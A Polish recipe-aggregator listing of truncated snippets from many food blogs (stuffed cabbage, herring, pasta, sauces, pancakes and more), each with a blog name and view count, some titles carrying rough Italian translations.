każdej strony. Oprószyć solą i pozostawić do wystygnięcia na kratce. Kulki mozarelli odsączyć z zalewy. Sok z cytryny wymieszać z ziołami i oliwą z oliwek oraz przyprawić lekko solą. Sosem tym zalać kulki mozarelli i wymieszać. Pozostawić na 5-10 minut. Kulki mozareli zawijać w plastry cukinii. Można dodatkowo spiąć wykałaczką.Dekorowac pomidorkami koktajlowymi.Miłej zabawy.....SMACZNEGO

w mojej kuchni
GOLABKI Z ZIEMNIAKAMI--Cavolo farcito con patate 205

nadziewać ziemniaczanym farszem, nakładać 1-2 łyżki farszu . Zawijac jak gołąbki mięsne Gotowe gołąbki układać ciasno w garnku.Polac bulionem i dusić około 40 minut pod przykryciem . Można podawać z sosem grzybowym lub pomidorowym. Gołąbki nie przywrą do dna rondla, kiedy na dnie umieścimy liście kapusty. Do nadzienia można dodac nieco startego żółtego sera.inspiracja był przepis Gessler.... Cavolo farcito con patate

w mojej kuchni
Sos pieczarkowy z serem i tymiankiem 189

śmietankę i doprawiamy całość solą, pieprzem oraz tymiankiem świeżym ,lub suszonym .Dla podkreślenia smaku pieczarek  kroimy ser jak najdrobniej i wrzucamy do garnka. Całość dusimy kilka minut, aż sos lekko zgęstnieje. Na koniec posypujemy garścią świeżej natki z pietruszki. Smacznego

w mojej kuchni
Flaki z żołądków drobiowych na ostro-Trippa con ventriglio di pollame piccanti 187

drobiowych indyczych ,3 marchewki ,pietruszka ,pół selera ,czosnek 5 ząbków ,2 cebule, kostka rosołowa,lub bulion przyprawy: imbir, gałka, papryka ostra i słodka , szczypta chilli, pieprz, sól, kilka kropel sosu sojowego,lub maggi              WYKONANIE

w mojej kuchni
Faszerowana cukinia:Zucchine ripiene 146

drobno posiekana + czosnek przeciśnięty przez praskę + jajko = wyrabiamy na jednolitą masę. Do cukini wkładamy farsz. zatykamy wejscia mięsa wykałaczka i pieczemy w zaroodparnym naczyniy ,aż zmiękna ...do tego dodałam sos beszamelowy z pieczarkami...SMACZNEGO! Zucchine ripiene ..... INGREDIENTI : 3-5 zucchine medie 40 grammi di tritato 1-2 uova 2 cipolle 5 spicchi d'aglio 1/4 tazza di olio d'oliva

w mojej kuchni
babeczki z dyni -- muffin di zucca 181

Podawać z sosem czosnkowym ,lub ketchupu Spróbuj. Smacznego. P.S. można dac też cebulke do smaku.. przepis z muffin di zucca ------- INGREDIENTI ¼ medio zucca 1 medio o 2 piccole zucchine carote - 1 pz . 2-3 spicchi di aglio Egg - . 2 pezzi pasto - 2-3 cucchiai . yogurt - 100 g formaggio - 100-200 su di me Grana Padano -link qui sale , pepe

w mojej kuchni
Szpecle, kluseczki---Speckle-noodles 201

Gotujemy chwilę od wypłynięcia na wierzch. Gotowe szpecle przekładamy, do miski Sposób podania szpecli zależy od gustu.Przysmażone na masełku. Na słodko, z owocami, czy na słono, z mięsem, sosem, boczkiem, jajkami, do zup… i nie tylko.  Wszystkie wersje  są pyszne. Szpecle, to danie, które się przygotowuje bardzo szybko z użyciem niewielkiej ilości składników. Smacznego.przepis z tarka

w mojej kuchni
kasza jaglana z czosnkiem askanskim-- porridge di miglio con aglio askanskim 139

zimnym, suchym miejscu, w przewiewnej torbie . W cieple szybko staną się miękkie, w plastiku zepsują się, a w lodówce szybciej spleśnieją. Szalotki można jeść surowe, dodawać do sosów i sałatek. Pokrojone w talarki i zrumienione używane są jako przybranie. Można je również marynować w ten sam sposób, co cebulę, choć w smaku będą łagodniejsze

w mojej kuchni
czarno białe ----in bianco e nero 187

chcemy , Albo przez wykrojniki do makaronu Pocięte paski makaronu zwijamy w w gniazda. Gotujemy, w osolonej wodzie 8-10minut.   Makaron uładamy na talerzu i podajemy z sosem z małżami i kalmarami...Smacznego

w mojej kuchni
śledzie na czerwono---falsa pista 175

Składniki 1/2 kg filetów śledziowych solonych 3 białe cebule 500ml mleka Marynata: 1 łyżka ciemnego sosu sojowego 1-1,5  szklanka czerwonego wytrawnego wina 3 łyżki octu winnego 3-4 łyzki  cukru laska cynamonu 3 goździki 4-5 ziaren czarnego pieprzu

w mojej kuchni
Śledzie z orzechami----Herring con le noci 157

pokroić Orzechy z grubsza posiekać Cebulę pokroić w półplasterki, sparzyć wrzątkiem, odcedzić, skropić octem. Na patelni rozgrzać dwie łyżki oliwy, pokrojone grzyby i orzechy, podsmażyć dwie, trzy minuty, dodać sos sojowy, doprawić solą i pieprzem. Wystudzić. Pokrojone śledzie układać warstwami w słoiku potem warstwa grzybowo - orzechowa , aż do wyczerpania składników, na wierzchu grzyby, zalać pozostałą oliwą i odstawić

w mojej kuchni
Wstążka karbowana z gulaszem 232

prostych wstążek, być może miała także przypominać zdobienia ówczesnych szat dworskich. Karbowane brzegi tego rodzaju makaronu to nie tylko ozdoba – przede wszystkim mają znaczenie praktyczne: dzięki nierównym brzegom każdy sos idealnie przylega do powierzchni dzięki czemu potrawa ma pełny i bogaty smak. Do dania piemonckiego użyłam karbowanej wstążki od  FABIJAŃSCY To makaron ekologiczy, 100% orkiszu, na wodzie zródlanej. Orkisz

Z Kuchni Do Kuchni
Miody Wileńskich 207

właściwościach zdrowotnych miodu chyba każdy słyszał i każdy wie. W mojej kuchni staram się go używać jak najczęściej. Dodaję go do wypieków, sosów do sałatek lub do słodzenia napoi. Teraz mam okazję wypróbować w mojej kuchni Miody Wileńskich . Ich pasieka liczy 80 uli i znajduje się na Warmii a tradycje pszczelarskie sięgają już trzech pokoleń.  W swojej ofercie mają

Ala piecze i gotuje
Grillowane Filety Mignon – idealne na romantyczną kolację w Walentynki 189

Mignon z czerwonym winem W ten sposób przygotowywany Filet Mignon jest pyszny! Składniki: 2 Filety Mignon o grubości około 4 cm do marynaty: ¼ szklanki wytrawnego czerwonego wina 2 łyżki sosu sojowego 1 łyżka świeżo wyciśniętego soku z cytryny 1 łyżka świeżo startego imbiru 1 wyciśnięty ząbek czosnku ¼ łyżeczki płatków czerwonej papryki opcjonalnie ¼ łyżeczki soli Przygotowanie: Wszystkie składniki marynaty połączyć

naRuszcie
Lekki i zdrowe frytki z selera 406

daję ich dużo, lubię bardziej doprawione). Wkładamy do piekarnika nagrzanego do 200 o C na 20-25 minut. Obserwujmy, żeby były rumiane, miękkie i delikatnie chrupiące. Podajemy z ulubionymi sosami i zajadamy

Sajkofanka smaku
Magiczna woda numer 2 232

razem z nim), gdy kazałam mu wyjadać owoce ze szklanki, jednak oboje wiedzieliśmy, że ten chwilowy niesmak przyniesie nam tylko korzyści. Dlatego przygotowałam żurawinę na kilka sposobów. Zrobiłam sos (o którym możecie poczytać TUTAJ ), a nawet muffinki! Ta wersja zdecydowanie przypadła najbardziej do gustu mojemu kochanemu;) Ale tak naprawdę to woda podbiła moje serce. Jest pysznie aromatyczna, dodatkowo nawadnia organizm

Gotowanie to kochanie
Zapiekanka ziemniaczana. 1492

obgotowanych ziemniaków, posypujemy białym pieprzem, mieszanką ziołową oraz gałką muszkatołową, na ziemniaki kładziemy obrana oraz pokrojoną w talarki cebulę, na to kładziemy pokrojoną w paski paprykę przykrywamy mięsem z sosem pomidorowym. Przykrywamy pozostałymi ziemniakami posypujemy mieszanką ziołową oraz sola i pieprzem zmielonym czarnym. Na koniec przykrywamy wszystko startym serem żółtym. Przykrywały pokrywą żaroodporną wkładamy do zimnego piekarnika ustawiamy

kgwjanczewo
Oszukane gołąbki z wolnowaru 293

Wymieszać,dodać bułki tartej tyle , aby można było formować kotlety, doprawić do smaku Wymieszać i formować kotlety, obtoczyć w bułce tartej i usmażyć na oleju.Przełożyć do wolnowaru , zalać sosem [ z przecieru i wody] i gotować.Na koniec dodać śmietanę i mąkę

Moje domowe kucharzenie
Śmietankowy gulasz z kurczaka 383

Śmietankowy gulasz z kurczaka... Soczyste kawałki filetu z piersi kurczaka. Plasterki pieczarek i paseczki papryki. Zatopione w delikatnym, śmietankowym sosie. Dobrze przyprawione słodką papryką. Posypane pachnącą natką pietruszki. Smaczny pomysł na obiad. Polecam!   Składniki: 500 g filetów z piersi kurczaka; 150 g pieczarek; 1 średnia cebula; 1 duża, czerwona papryka; 250 ml śmietanki o zawartości tłuszczu

Gospodyni Miejska
Tarta bananowa 166

wymieszaj i wyłóż na spód tarty. wierzch:  Wymieszaj mąkę, cukier i cukier waniliowy i posyp tartę na wierzchu. Piecz w temperaturze 220 C przez 10-15 minut. Polej sosem czekoladowym

Humanistka w kuchni
Placki otrębowe: 235

słodzik do smaku łyżeczka proszku do pieczenia Wszystko wsypać do miski i wymieszać. Smażyć na rozgrzanej patelni, formując  niewielkie placki. P lacki podawać  z serkiem homogenizowanym lub sosem czekoladowym. Z porcji wychodzi około 4-5 placuszków

Humanistka w kuchni
Sałatka białkowo-warzywna 349

pół, a następnie na plasterki. Wykładamy na rukolę. Pomidorki kroimy na pół, kładziemy na ogórkach. Na wierzchu rozkładamy jajko. Przyprawiamy. Całość posypujemy obficie pokrojonym szczypiorkiem i pestkami słonecznika. Polewamy sosem winegret lub jogurtowo-miętowym. Przepis także na moim blogu

Humanistka w kuchni
Sałatka z rukoli i mozzarelli 244

Potrawa bierze udział w miksie Ekspresowo w kuchni.  70 g rukoli ¼ czerwonej papryki 1 kulka mozzarelli (125 g) 2 ogórki konserwowe 5 pomidorków koktajlowych sos winegret Paprykę, ogórki, mozzarellę kroimy w kostkę lub w cienkie paseczki, pomidory kroimy na 4 cząstki. Dodajemy rukolę, a bezpośrednio przed podaniem winegret. Mieszamy

Humanistka w kuchni
Kurczak w liściach chrzanu 209

zostawiamy na kilka godzin w lodówce. Następnego dnia Przelewamy zalewę do naczynia żaroodpornego, wkładamy mięso. Poszatkowane liście wyrzucamy. Pieczemy w temperaturze 180 C około 30 minut.  Podajemy z sosem chrzanowym. Pyszne z ryżem i rukolą. Smacznego

Humanistka w kuchni
Ryż z owocami 195

orzechy kroimy na mniejsze cząstki. Serek mieszamy z masłem czekoladowo-orzechowym. Przygotowujemy 6 identycznych miseczek i układamy równomiernie warstwami: serek z masłem, ryż, nektarynka, ryż, porzeczki, orzechy, 2 łyżeczki sosu czekoladowego. Zajadamy

Humanistka w kuchni
Dukanowskie kluseczki bazyliowe 163

nakładajcie więcej niż 7 klusek, bo mogą się zlepiać. Kluseczki gotujemy po wypłynięciu około 5 minut. Wykładamy na sitko, a później na talerze. Podajemy do zupy lub mięsa z sosem. Smacznego

Humanistka w kuchni
Pomidorianki ;-) 194

długa bagietka pół puszki pomidorów 15 dag sera ulubione przyprawy – u mnie zioła prowansalskie Ser trzemy na tarce. Bagietkę kroimy pod skosem. Na wierzch wkładamy pomidory wraz z sosem. Układamy na blaszce wyłożonej papierem do pieczenia. Zapiekamy w temperaturze 180 C przez około 10 minut. Wyjmujemy i posypujemy serem wymieszanym z ziołami. Zapiekamy kolejne 10 minut. Na wierzch ketchup. Pychotka

Humanistka w kuchni
Łatwy Coq au Vin / Easy Coq au Vin 375

dodaj liść laurowy, tymianek i dopraw solą i pieprzem. Delikatnie całość wymieszaj, następnie doprowadź do wrzenia, po czym zmniejsz ogień do średniego gotuj przez około 15-20 minut, aż sos zgęstnieje a kurczak przestanie być surowy w środku. Wyjmij liść laurowy i tymianek, po czym podawaj danie posypane pietruszką wraz z puree z palonym masłem. Smacznego! English version Easy

karmelowy
Makaron&ricotta&szynka&oliwki&cukinia&suszone pomidory 387

lodówki. Powiem Wam, że jej zawartość zmieniła się nie do poznania! Kiedyś nie wyobrażam sobie oliwek, suszonych pomidorów czy sera ricotta. Kiedyś to górował żółty ser w plastrach, gotowe sosy pomidorowe i przeróżne odgrzewane dania. Tym bardziej cieszy mnie fakt, że opróżnianie lodówki to teraz naprawdę sama przyjemność!  Składniki: 2 plastry szynki z kurczaka 3 szklanki nieugotowanego makaronu pełnoziarnistego

Kitchens Alphabet
Fasolowe burgery z pieczarkami 238

pieczarek z cebulą, - przyprawy: płaska łyżeczka pieprzu, duża szczypta gałki muszkatołowej, łyżka pietruszki (suszonej lub świeżej), łyżeczka majeranku, łyżeczka tymianku, 2 szczypty czerwonej papryki, można dodać pół łyżki sosu sojowego lub musztardy (nie zawsze to robię), sól do smaku według potrzeb. ps. zawsze można sobie coś odpuścić np. sezam, albo słonecznik ;)... Przygotowanie: 1. Fasolę blendujemy na gładką masę

Kwarek - mocno minimalistyczne przepisy
Brukselka z pieczarkami w śmietanie (277 kcal) 227

oleju, aż odparuje z nich sok. W połowie smażenia dodajemy paprykę pokrojoną w paski. Kiedy warzywa będą miękkie, dodajemy brukselkę, śmietanę, pomidory i przyprawy. Dusimy na wolnym ogniu aż sos uzyska kremową konsystencję

e-PrzepisyKulinarne
Kluski kładzione z ziemniaków (377 kcal) 220

ostatnio z dodatkiem ziemniaków. Z ziemniaków są równie smaczne i nawet delikatniejsze. Jednym słowem pycha! Podałam z boczkiem i cebulką, mogą być też idealnym dodatkiem do mięsa czy sosu. Składniki: ok. 6 średnich ziemniaków (700 g) 2 jajka 2-3 łyżki mąki ziemniaczanej ok. 1 i 1/5 szklanki mąki pszennej (250 g) łyżeczka soli Dodatkowo: boczek, cebula Przygotowanie Obrane ziemniaki

e-PrzepisyKulinarne
Szisz kebaby 229

kulki, nabijamy na wykałaczki i obsmażamy z każdej strony na gorącej patelni. Przygotowujemy blaszkę wyłożoną papierem do pieczenia i dopiekamy w piekarniku ( temp. 200 stopni). Polecam podawać z sosem tzatziki: Składniki: 4 ogórki gruntowe, lub dwa zielone 400g jogurtu greckiego (gęstego), koperek, świeża mięta, sól, pieprz.  Ogórki gruntowe myjemy, obieramy, i trzemy na tarce o grubych oczkach. Ogórki zielone

Pudełko rozmaitości
Gołąbki dla leniwych 246

kotlety mielone. tak uformowane kotlety obtoczyć w mące i smażyć na rozgrzanym tłuszczu. Przełożyć do brytfanny. Kostkę rosołową rozpuścić w litrze gotującej wody dodać koncentrat i dobrze wymieszać. Powstałym "sosem" zalać mięso. Dusić na wolnym ogniu około 10-15 minut

Garnkowe fanaberie
Buraczane burgery 172

szklanki oleju, 4 łyżki mąki pszennej (żeby zlepić towarzystwo - jeśli ktoś nie może jeść- można próbować bez, ale są wtedy mniej stabilne), 2 ząbki czosnku (z wyciskacza), 3 łyżki sosu sojowego (jest bardzo ważny), sól, pieprz, papryka słodka do smaku, szczypta gałki muszkatołowej, łyżka kminku. 1 jajko, lub substytut (tzn. mielone siemię lniane zalane wodą letnią i doprowadzone do konsystencji

Kwarek - mocno minimalistyczne przepisy
PIERSI Z KURCZAKA W SOSIE ŚMIETANOWO BROKUŁOWYM 6162

póltwardo,Pierś z kurczaka oprószamy przyprawą do gyrosa, obsmażamy na patelni. Kiedy się zrumienią dodajemy bulion, wlewamy śmietankę oraz wrzucamy serki. Na małym ogniu redukujemy sos, który zacznie gęstnieć. Dokładamy brokuła i makaron, doprawiamy solą i pieprzem, mieszajac chwilkę podsmażamy.  Do przygotowania dania użyłam makaronu świderki  MAKARONY POLSKIE  . Zapraszam serdecznie na ich stronę

Z Majeczką w kuchni
Kura, kura 214

zupa brazylijska czy  zupa gulaszowa . Zakochaliśmy się w niej a na tą zimowo - jesienną pogodę nie ma nic lepszego. Przy okazji ulepszyliśmy nasze zupy dodając do nich ostrego sosu chilli.  Dzisiaj wracamy z nowym przepisem i to na drób rzadki na stołach czy to polskich czy to brazylijskich. A mianowicie - kura! Wyrazistsza w smaku i dodatkowo mniej nafaszerowana

Smaki Brazylii
Kaczka w pomarańczach 240

Znowu wolnowar. Tym razem kaczka, a dokładnie kacze nogi i pomarańcze. Okazja była wyjątkowa: był piątek – piąty dzień tygodnia – i po nim sobota czyli

slodkokwasnapl
Podsumowanie Owsiankowej Akcji. 246

Owsianka orzechowa autor: juchumm | blog: http://achtamanta.blogspot.com/ Owsianka kakaowa z awokado autor: juchumm | blog: http://achtamanta.blogspot.com/ Owsianka kokosowa autor: juchumm | blog: http://achtamanta.blogspot.com/ Owsianka autor: juchumm | blog: http://achtamanta.blogspot.com/ Sos wiśniowy do owsianki autor: juchumm | blog: http://achtamanta.blogspot.com/ Owsianka kakaowa autor: juchumm | blog: http://achtamanta.blogspot.com/ 173# marchewkowa owsianka autorka: Dżast food | blog: Dżast food 105 Kremowa owsianka z jabłkiem, mandarynką

Chocolate Stop Tempting
Spaghetti 278

składniki połączyły się ze sobą dodajemy wino i przyprawy gotujemy jeszcze parę minut bez przykrycia aby wino odparowało. Makaron gotujemy według przepisu na opakowaniu makaron wykładamy na talerz polewamy sosem i posypujemy z tartym ser oraz natką pietruszki. Smacznego

kgwjanczewo
870. Naleśniki na każdą porę dnia. 226

Pomarańczowe naleśniki z nutellą*; pomarańcza inspiracja *smażone w sosie pomarańczowym Naleśniki śniadaniowe w porze obiadowej.W sam raz po powrocie do domu w godzinach popołudniowych ;) A od jutra wracamy do szarej szkolnej rzeczywistości.. mamo nie chce mi się :( Faceb

More food, love and dreams
Tilapia z orientalną sałatką z batatów. 178

też pomidorki w ćwiarteczki. Do osobnej miseczki wsypujemy cukier, pokrojoną chili, wyciśnięty ząbek czosnku i dolewamy sok z cytryny.  Następnie mieszamy, stopniowo dolewając olej aż do uzyskania konsystencji sosu. Przejdźmy do przygotowania Tilapii. Rybkę (jeśli musimy) oczyszczamy z łusek,  Następnie kroimy każdy z filetów na pół i nacieramy solą i pieprzem, po czym skrapiamy je sokiem z cytryny

Wspólne smaki
Stir fry ! 233

przypali się a my będziemy mieli danie gotowe po 5 minutach . Do przygotowania dania (dla 2 osob) niezbędne jest : Schab stir fry 2 plasterki schabu łyżka miodu łyżka sosu sojowego Ostra papryka do smaku garść kurek lub innych grzybów leśnych 1 liść kapusty pekińskiej     2 . Jajka w koszulce   2 jaja łyżka octu woda

Wspólne smaki
Pieczone ziemniaczki ze stripsami. 256

celu osuszenia z nadmiaru tłuszczu. Aby być pewnym ,że stripsy są wypieczone w środku możemy je wsadzić do piekarnika obok ziemniaczków na 3 minutki. Z pieczonego czosnku możemy zrobić sos czosnkowy w następujący sposób: Do miseczki wyciskamy czosnek, przyprawiamy solą i pieprzem a następnie dodajemy jogurt naturalny i odrobinę koperku, mieszamy wszystko i odstawiamy na chwilę do lodówki w celu

Wspólne smaki
Zapiekanka ziemniaczana à la kebab 291

piersi z kurczaka 1 opak. Fix Kebab z sosem czosnkowym Knorr 1 kg ziemniaków 400 ml śmietany 18% 200 g startego żółtego sera 100 ml zimnej wody Zapiekanka ziemniaczana à la kebab, to ciekawa forma połączenia ziemniaków i mięsa drobiowego. Aromat dania podczas pieczenia jest tak wyjątkowy, że po wstawieniu zapiekanki do piekarnika cała rodzina, w jakiś magiczny sposób - nagle

Świat Domowej Kuchni
Oryginalne amerykańskie PANCAKES 314

amerykańskich pancakesów, ani cieszących oko czerwonych owoców jak u Marty, dlatego postanowiłam wykorzystać to co mam czyli pomarańcze i domowej roboty miód z mniszka lekarskiego robiąc z nich pyszny sos. Całość wyszła absolutnie przepysznie:) Musicie wypróbować! Składniki / na ok. 8-10 szt/: 1 i 1/4 szklanki mąki 1 jajko 1 i 1/4 szklanki maślanki 1/4 szklanki cukru pudru 1 czubata

Apetyt na więcej - jadłodajnia dla duszy i ciała
Żeberka wieprzowe duszone. 306

wolnym ogniu dusić do miękkości, w razie potrzeby uzupełnić wodę. Kiedy mięso będzie miękkie wlać colę i dusić jeszcze około 3-4 minut i obracać  mięso w sosie. Podawać z ziemniakami, frytkami, pieczonymi ziemniakami, surówkami

O kuchni z uczuciem
Makaron w sosie śmietanowo-pomidorowym 318

dodać do niej nieco oleju i osolić. Gotować makaron krócej niż podaje się na opakowaniu. Gotowy makaron przecedzić przez sitko i dodać do mięsa i pozostałych składników. Zalać wszystko sosem i wymieszać. Można dodać rozdrobnioną kulkę mozzarelli (ale nie trzeba) i delikatnie wymieszać. W razie potrzeby doprawić

Passions hobbies life
Karmelizowane pomarańcze /pomarańczowy sos/ 211

Pomysł na pyszny, pomarańczowy sos powstał z potrzeby chwili jako dodatek do amerykańskich pancakesów. Myslę, że równie doskonale sprawdzi się jako dodatek do tradycyjnych naleśników. Składniki: 3 pomarańcze 50 g  masła 1/3 szklanki cukru trzcinowego 1 szklanka miodu / u mnie domowej roboty z mleczu czyli z mniszka lekarskiego/ Pomarańcze obrać, podzielić na kawałki, pokroić w kostkę. W rondelku rozgrzać

Apetyt na więcej - jadłodajnia dla duszy i ciała
Rozgrzewająca zupa z kukurydzy konserwowej 234

kukurydzę, i zmiksować zupkę. Ja do miksowania swojej zupy, użyłam nowości od Russell Hobbs. Rozdrabniacz Chop & Blend Aura to urządzenie niezwykle funkcjonalne, z którym w mig przygotujecie zupy, sosy, salsy, pasty i wiele, wiele innych. Składniki: * 1 udko z kurczaka - całe * 2 marchewki * 1 pietruszka * nieduży kawałek korzenia selera * 3-4 ziarna ziela angielskiego * 2 liście laurowe * 1 puszka

kolorowotorcikowo
Pesto z suszonych pomidorów. Pesto sycylijskie. 295

Czerwone pesto z suszonych pomidorów – idealnie pasuje do makaronów i grzanek. Tradycyjne pesto, czyli pesto alla genovese to zielony sos pochodzący z Genui we Włoszech, którego głównym składnikiem jest bazylia. Ktoś inny, równie genialny, wpadł na pomysł na zrobienie pesto z suszonych na słońcu pomidorów, które powszechnie znane jest jako pesto sycylijskie (pesto alla siciliana). Pesto nie powinno stać

Kulinarne Przeboje
Pieczona karkówka w piekarniku 1744

minut w 230 stopniach, kolejne 60 minut w 180 stopniach. Sosik z karkówki przelewamy do rondelka. W kubeczku mieszamy łyżkę mąki pszennej z 3 łyżkami wody, dodajemy do sosu. Mieszamy, aż do zagotowania. Takim sosikiem polewamy karkówkę i kopytka. Pycha! Ten piękny talerz to nie jest byle jaki talerz - to jest Porcelana Bogucice

Aga w kuchni
Makaron razowy BARTOLINI z tuńczykiem 228

osoby dorosłej wynosi od 27g do 40g. Makaron razowy z tuńczykiem (dwie porcje) Składniki: 150 g makaronu Bartolini świderek (przed ugotowaniem); 200g fasolki szparagowej (mrożonej); puszka tuńczyka w sosie własnym; 5 sztuk suszonych pomidorów; cebula; kilka kropel soku z cytryny; tymianek świeży; szczypta pieprzu cayenne; 1 łyżka oliwy (z pomidorów). Zaczynamy !!         Gotuję makaron, nie dodając

Życie na widelcu
KLUSKI JAGLANE, BEZGLUTENOWE 252

krojąc wałeczki na kluski. Gotujemy w mocno osolonej wodzie, ok.2-3 minuty od wypłynięcia na powierzchnię. Podajemy polane stopionym masłem i posypane ksylitolem lub cukrem. Lub podsmażone jako dodatek np.do sosu..., z warzywami... Smacznego

Smaczne Zdrowe
Rok bloga - popularne dania obiadowe 203

mojego bloga. Dzisiaj zamieszczam popularne przepisy na dnia obiadowe. Może  zajrzycie. FASZEROWANY FILET Z INDYKA MIELONE Z PIECZARKAMI PIEROGI Z MIĘSEM I KAPUSTĄ PULPETY Z KARKÓWKI W SOSIE MUSZTARDOWYM SPAGHETTI BOLOGNESE KACZKA ZAPIEKANA Z MORELĄ MAKARON ZE SZPINAKIEM I KAWAŁKAMI KURCZAKA SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Parówki w cieście francuskim 198

owijamy w koło parówki i układamy na blaszce wyłożonej papierem do pieczenia . Pieczemy w rozgrzanym piekarniku do 190 stopni na złoty kolor. Podajemy z pieczywem , sałatką , dowolnym sosem lub ketchupem. Pyszne i proste :)                                                 Smacznego

Sama słodycz i szczypta chili
Makaron razowy z kurczakiem i pieczarkami - pomysł na posiłek do pracy 515

plasterki, ale jeśli wolicie, mogę być też większe cząstki, np. ćwiartki. Gdy kurczak będzie "ścięty", a pieczarki miękkie, dodajemy ok 4 łyżek śmietany i dodajemy kilka łyżek wody, by sos był rzadki, który wtedy lepiej rozprowadzi się po makaronie dzięki czemu nie będzie suchy i wiórowaty :) Pod koniec gotowania dodajemy szczypior. Po ugotowaniu makaron dodajemy do kurczaka, mieszamy i rozkładamy

Taste Of My Day
Tagliatelle ze szpinakiem i fetą 175

się nieco roztopił. Można dodać trochę pieprzu i ulubionych ziół. Odradzam dodawanie soli, gdyż smak fety w zupełności wystarcza aby szpinak nie smakował jak trawa :). Makaron dodajemy do sosu i całość mieszamy. Smacznego

KasiekGotuje
Kurczak z warzywami w cieście francuskim 199

widelcem, można też posmarować rozbełtanym jajkiem. Wkładamy do piekarnika nagrzanego do 180 stopni i pieczemy do momentu, aż ciasto się zrumieni- ok 30 minut. Do tych pyszności idealnie pasuje sos koperkowo-czosnkowy: jogurt grecki+garść koperku+2 wyciśnięte ząbki czosnku+łyżka majonezu.  Smaczego

KasiekGotuje
Placki ziemniaczane z cukinią 191

skrobię która zgromadziła się na spodzie. Ziemniaki mieszamy z cukinią, dodajemy mąkę i jajko. Całość dokładnie mieszamy. Smażymy z obu stron na gorącym oleju. Podajemy ze śmietaną lub ulubionym sosem. Smacznego

KasiekGotuje
Parówki śniadaniowe na bogato 150

śniadanie wykonał Mąż  :) Składniki: -parówki drobiowe lub wieprzowe -10 g sera żółtego Gouda -ketchup, musztarda, sos czosnkowy -półbagietki lub inne pieczywo Wykonanie: Jeśli parówki posiadają osłonki, obieramy je. Następnie nacinamy nożem wzdłuż i nadziewamy plasterkami sera. Wkładamy do piekarnika na kilkanaście minut aby się zapiekły, a ser lekko roztopił. Gotowe ciepłe paróweczki podajemy z dowolnym pieczywem lub w półbagietkach

KasiekGotuje
Kotlety z jajek 276

smaczny dodatek do drugiego dania :) kotlety z mięsa są takie nudne! ... inspiracja od  przepisy-aleksandry.blogspot.com kotleciki zajadałam polane sosem tatarskim: Składniki: (na ok. 6 kotlecików) -5 dużych jajek ugotowanych na twardo -1 duże surowe jajko -pół czerstwej bułki -mleko do namoczenia bułki -1 mała cebula -pęczek szczypiorku drobno pokrojony -łyżka pokrojonej natki pietruszki (ja pominęłam) -bułka tarta -sól i pieprz

KasiekGotuje
Omlet z szynką, papryką i serem 125

Wylewamy masę na rozgrzaną patelnię. Smażymy do momentu, aż jajko się zetnie. Składamy omlet na pół i jeszcze chwilę podsmażamy. Podajemy na ciepło z pieczywem lub bez. Można polać sosem ziołowo-jogurtowym :). Smacznego

KasiekGotuje
Nalewka z kumkwatów 530

degustować, choć jak to z nalewkami im starsza tym lepsza ;) Po zlaniu nalewki do butelek zostają nam pyszne m acerowane owoce, które można dodawać do ciast, deserów i sosów mięsnych. Można je przechowywać w słoiczku choć z własnego doświadczenia wiem, że po kilku dniach nie ma już nić do przechowania :). Czas przygotowania:  2-3 miesiące     Składniki

SzczyptaSmaQ
Faszerowane bakłażany 198

kostkę miąższ i ziemniaki.  Wszystko mieszamy i napełnimy nimi bakłażany. Na wierzchu układamy mozzarellę, świeżą bazylię i posypujemy suszoną bazylią.  Formę smarujemy olejem i możemy podlać odrobiną sosu pomidorowego, żeby nam sie nie przypaliły bakłażany. Pieczemy w temperaturze 180 stopni C przez

Zainspiruj się kuchnią
Szynka duszona z żurawiną i boczkiem 303

purée. Następnie przez sitko przelewamy do ziemniaków śmietanę z masłem, gotujemy, cały czas mieszając, aby powstało purée. Dodajemy pieprz i sól. Całość mieszamy. Na talerz wykładamy purée, polewamy je sosem z cebuli i żurawin, na wierzchu układamy szynkę, którą dekorujemy kawałkiem rozmarynu i kroimy na kawałki.  Smacznego

Zainspiruj się kuchnią
Sałatka z roszponką, camembert i szynką szwarcwaldzką 189

przyrządzenia? Nie ma nic prostszego. Roszponkę wykładamy na talerz. Pomidorki, ser, i cebulkę kroimy, a następnie układamy na sałacie. Na górze układamy skręcone plasterki szynki, na koniec zaś polewamy sosem z oliwy z oliwek, soli, pieprzu i oregano.  I voila

Mój Smak na Życie
Rozgrzewające leczo 221

kiełbaskę.  3. Dodajemy paprykę i dusimy około 5 minut.  4. Dodajemy cukinię i dusimy pod przykryciem ok. 10 minut. 5. Całość zalewamy pokrojonymi w kostkę pomidorami oraz sosem przygotowanym poprzez połączenie 2 łyżek koncentratu pomidorowego z 1/2 szklanki wody. Doprawiamy solą, pieprzem,  ziołami oraz przyprawą do leczo. 6.  Wszystko dusimy jeszcze 10 minut i gotowe. Dotarliśmy

Mój Smak na Życie
Owocowa rozkosz 151

dowolny sposób. Każdy wybiera te owoce, które lubi najbardziej i łączy je w całość. Moja wersja przygotowana jest z : gruszki, jabłka, nektarynki, banana, ciemnego winogrona oraz granata. Polecam dodać sos, który doda sałatce aksamitny smak. Wystarczy do połowy szklanki jogurtu naturalnego dodać dużą łyżkę miodu i wycisnąć sok z cytryny.  Wierzch udekorowałam pyszną, świeżą figą. I gotowe :) Dostarcz

Mój Smak na Życie
Pizza z salami i mozzarellą 162

droższy 1/3 szklanki ciepłej wody sól, pieprz Wszystkie składniki zagnieść. Gdy ciasto jest zbyt mokre, podsypać mąką. Odstawić na pół godziny. Ciasto rozwałkować, zawinąć rogi do środka, polać sosem pomidorowym i przyprawić ziołami.    Następnie wystarczy ułożyć składniki i wstawić do piekarnika 180 st. na 10 minut...  ...po 10 minutach posypać mozzarellą i piec kolejne 10 minut

Mój Smak na Życie
Makaron curry w połączeniu mięsno warzywnym 241

zwykle obsmażam na oliwie, a później dolewam trochę wody, by pierś się dusiła. Wtedy nie jest sucha. Ok. 5 minut z każdej strony, przewracając co jakiś czas. To sosu curry dodajemy makaron i wszystko mieszamy.  Wykładamy na talerz. Pierś, którą smażyliśmy w całości kroimy na plasty i układamy na makaron. I voilà

Mój Smak na Życie
Kuskus z warzywami 191

pokrojone w kostkę pomidory. Następnie drobno posiekany czosnek. Solimy. 2. Paprykę kroimy w paseczki i dodajemy do pomidorów, dusimy 10 minut. 3. Cukinię kroimy w półplasterki i dodajemy do sosu.  4. Na koniec dodajemy kukurydzę i smakujemy. W razie potrzeby dosalamy. Dodajemy szczyptę pieprzu cayenne oraz oregano. 5. Kuskus przygotowujemy zgodnie z opisem na opakowaniu. Na jedną porcję wystarczy

